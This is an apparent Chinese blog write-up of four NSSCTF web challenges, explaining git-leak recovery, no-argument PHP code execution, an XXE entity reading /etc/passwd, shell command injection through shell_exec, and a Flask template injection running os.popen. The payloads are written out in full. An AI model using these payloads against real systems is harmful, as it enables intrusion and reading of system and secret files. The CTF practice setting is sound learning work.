当前位置: 首页 > news >正文

NSSCTF web 刷题记录1

文章目录

  • 前言
  • 题目
    • [GXYCTF 2019]禁止套娃
      • 方法一
      • 方法二
    • [NCTF 2019]Fake XML cookbook
    • [NSSRound#7 Team]ec_RCE
    • [NCTF 2018]Flask PLUS


前言

今天是2023.9.3,大二开学前的最后一天。老实说ctf的功力还是不太够做的题目太少,新学期新气象。不可急于求成,稳扎稳打,把能利用的时间用来提升web实力。


题目

[GXYCTF 2019]禁止套娃

打开题目,直接扫一下目录
发现是存在git泄露—参考文章

在这里插入图片描述然后使用专门的工具Githack(下载地址)
打开终端,运行python(运行后要访问,/.git/才能有结果)

在这里插入图片描述源代码

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {// echo $_GET['exp'];@eval($_GET['exp']);}else{die("还差一点哦!");}}else{die("再好好想想!");}}else{die("还想读flag,臭弟弟!");}
}
// highlight_file(__FILE__);
?>

分析一下
第一个if语句禁用了一些php伪协议
第二个if语句很明显是无参rce的标志,一般代码为

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    eval($_GET['code']);
}

第三个if语句是禁用我们要rce的一些函数,比如phpinfo()

所以rce的关键是无参

方法一

使用session_start()+session_id()读取文件(php<7)

payload

?exp=show_source(session_id(session_start())); 
Cookie: PHPSESSID=flag.php

得到flag

在这里插入图片描述

方法二

php函数直接读取文件

先读取数组,查看flag在第几个
payload

?exp=print_r(scandir(current(localeconv())));

在这里插入图片描述
发现是第三个,那么我们可以先倒序再读取第二个

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

即可得到flag

[NCTF 2019]Fake XML cookbook

打开题目,根据提示应该不是sql注入
随便输入然后bp抓包,发现是xml格式的登录

在这里插入图片描述联想到XML中存在的XXE漏洞
payload

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>1</password></user>

在这里插入图片描述修改下命令,直接得到flag

在这里插入图片描述

[NSSRound#7 Team]ec_RCE

源代码

 <!-- A EZ RCE IN REALWORLD _ FROM CHINA.TW -->
<!-- By 探姬 -->
<?PHPif(!isset($_POST["action"]) && !isset($_POST["data"]))show_source(__FILE__);putenv('LANG=zh_TW.utf8'); $action = $_POST["action"];$data = "'".$_POST["data"]."'";$output = shell_exec("/var/packages/Java8/target/j2sdk-image/bin/java -jar jar/NCHU.jar $action $data");echo $output;    
?> 

分析一下,有两个POST参数可控,然后出现shell_exec()函数
它的作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。
payload

action=||&data='cat /flag'
或者
action=;cat /flag&data=

得到flag

[NCTF 2018]Flask PLUS

打开题目,在url输入{{7*7}}
在这里插入图片描述发现存在ssti漏洞

payload

{{lipsum.__globals__['o''s']['pop''en']('ls /').read()}}

在这里插入图片描述
然后得到flag
在这里插入图片描述

http://www.lryc.cn/news/155498.html

相关文章:

  • 遥感指数数据库
  • 如何让insert程序速度快,可以试试联合SQL(insert 和 select 一起使用)?
  • IP地址、网关、网络/主机号、子网掩码关系
  • 使用skvideo.io.vread读取avi视频,报错“No way to determine width or height from video...”
  • Nomad 系列-安装
  • 网络版五子棋C++实现
  • 项目招标投标公众号小程序开源版开发
  • 华为OD机试-机器人走迷宫
  • Jenkins搭建步骤Linux环境
  • 2023 AZ900备考
  • 青翼科技基于VITA57.1的16路数据收发处理平台产品手册
  • Ansible_自动化运维实战(一)
  • 说说Flink中的State
  • 适合心理法律在线咨询预约含视频图文电话咨询功能的小程序开发
  • Redis-Cluster集群操作--添加节点、删除节点
  • ModaHub魔搭社区:星环科技向量数据库Hippo社区版来啦
  • gitHub添加ssh
  • sql:SQL优化知识点记录(十)
  • STM32 RTC实验
  • C#设计打开文件
  • mysql指令行登录如何添加mysql.sock的配置?(亲测)
  • Git 设置和清除用户名和邮箱
  • 【系统设计系列】 回顾可扩展性
  • 科兴未来 |轨道交通专业赛 第十二届中国创新创业大赛
  • leetcode 42. 接雨水
  • 【Lychee图床】本地电脑搭建私人图床,公网远程访问
  • 【MySQL系列】-ORDER BY……HAVING详解及limit
  • 浅析Keil MDK下串行Flash的下载算法设计
  • springboot自动装配原理,手写一个starter。
  • 革命性的电子元件:RAD继电器 | 百能云芯